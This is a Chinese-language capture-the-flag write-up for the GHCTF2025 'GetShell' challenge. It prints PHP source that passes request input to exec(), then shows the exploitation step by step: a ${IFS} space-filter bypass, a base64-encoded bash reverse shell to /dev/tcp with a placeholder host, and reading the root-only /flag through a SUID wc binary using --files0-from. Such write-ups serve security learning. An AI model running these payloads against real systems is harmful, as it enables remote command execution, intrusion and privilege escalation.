GHCTF2025 GetShell 题解

501次阅读
没有评论

共计4310个字符,预计需要花费11分钟才能阅读完成。

题目

打开网页给了源码:

<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {$this->logLevel = $logLevel;}

    public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";
        }
    }
}

class UserManager {private $users = [];
    private $logger;

    public function __construct($logger) {$this->logger = $logger;}

    public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}

        if (strlen($password) < 8) {return "Password must be at least 8 characters";}

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {$this->maxLength = $maxLength;}

    public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {$this->logger = $logger;}

    public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}

        if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {return $validationResult;}

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {$config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {$username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {$username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
}

思路

翻到代码最下面,网页获取了 actioninput两个参数,并且执行了actionHandle

GHCTF2025 GetShell 题解

转到 actionHandle,注意到action=run 的时候可以执行任意命令,但有过滤:

GHCTF2025 GetShell 题解

这里限制了最多字符为 100 个字符(见配置):

GHCTF2025 GetShell 题解

并且执行的命令中不能含有空格,这里很容易想到可以用 ${IFS} 来绕过,比如说 cat flag 可以用 cat${IFS}flag 来绕过。

GHCTF2025 GetShell 题解

我们先执行 ls -al 看看当前目录下有什么,通过 GET 传入action=run&input=ls${IFS}-al

GHCTF2025 GetShell 题解

GHCTF2025 GetShell 题解

注意到当前文件夹有个 wc 的文件,并且可以执行。我们再看看主目录下有什么,传入action=run&input=ls${IFS}-al${IFS}/

GHCTF2025 GetShell 题解

可以发现 flag/flag。难道就直接 cat /flag

GHCTF2025 GetShell 题解

然而并不行,看了一下只有 root 用户才有权限。突然又想到了 wc 文件,这个文件属性里有个 s,意味着 SUID 文件。该文件允许在执行程序时,进程暂时获得程序文件所有者的权限,那我们不就能获得 flag 了。让我们来看看有什么用法:

GHCTF2025 GetShell 题解

参数 --files0-from=xxx 的意思是读取 xxx 文件的内容,并且计算文件内容里每个文件的单词数目。我们随便读取一个文件:

GHCTF2025 GetShell 题解

可以发现 wc 读取了文件内容,而且因为内容里的文件不存在,竟然把文件内容给打印出来了,这下就好办了!

还是直接反弹 shell 更方便,直接输入bash -i >& /dev/tcp/ 你的 IP/ 端口 0>&1,绕过空格变成echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=|base64${IFS}-d${IFS}|bash,再 URL 编码变成action=run&input=echo$%7BIFS%7DYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHggMD4mMSA=%7Cbase64$%7BIFS%7D-d$%7BIFS%7D%7Cbash。获得了 shell

GHCTF2025 GetShell 题解

输入 ./wc --files0-from=/flag 就可以获得 flag 啦!

正文完
 1
评论(没有评论)
验证码
zh_CN简体中文